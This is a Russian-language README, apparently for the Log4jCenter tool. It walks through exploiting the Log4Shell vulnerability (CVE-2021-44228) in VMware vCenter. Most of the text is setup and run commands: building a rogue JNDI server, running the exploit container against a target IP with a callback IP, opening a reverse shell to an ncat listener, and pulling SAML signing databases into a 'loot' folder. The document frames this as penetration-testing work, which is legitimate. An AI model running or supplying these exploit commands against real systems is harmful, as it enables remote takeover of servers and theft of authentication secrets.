
Эксплуатация CVE-2021-44228 в vCenter для удаленного выполнения кода и не только.
Эксплуатация CVE-2021-44228 в vCenter для удаленного выполнения кода и многого другого. Запись в блоге с подробным описанием эксплуатации приведена ниже:
Доказательства концепции (PoC) для этой уязвимости разрознены и требуют ручного выполнения. Этот репозиторий автоматизирует процесс эксплуатации и демонстрирует дополнительный путь атаки, возможный после эксплуатации.
Чтобы вручную загрузить и запустить эксплойт, выполните следующие шаги. Сначала убедитесь, что на вашем атакующем хосте установлены Java и Maven. Для этого с помощью apt в операционных системах на основе Debian выполните следующую команду:
apt update && apt install openjdk-11-jre maven
Клонируйте репозиторий GitHub и установите все требования Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Из корня репозитория Log4jCenter скомпилируйте проект Rogue-Jndi с помощью следующей команды:
mvn package -f utils/rogue-jndi/
Сначала убедитесь, что Docker установлен на вашем атакующем хосте. (Я не буду объяснять, как это сделать)
После этого выполните следующую команду, чтобы клонировать репозиторий и создать образ Docker, который мы будем использовать.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Чтобы запустить контейнер, выполните команду, аналогичную приведенной ниже, с добавлением флагов командной строки. Например, следующая команда используется для эксплуатации vCenter и получения обратной оболочки. Обратите внимание, что контейнер не перехватит обратную оболочку. Вам нужно создать слушатель ncat в отдельном сеансе оболочки:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
Получите обратную оболочку, используя инструмент, установленный в вашей локальной системе:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Извлеките базы данных подписи SAML из контейнера Docker:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Этот инструмент предназначен для использования во время тестирования на проникновение; использование этого инструмента для атак на цели без предварительного взаимного согласия незаконно. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование этой программы.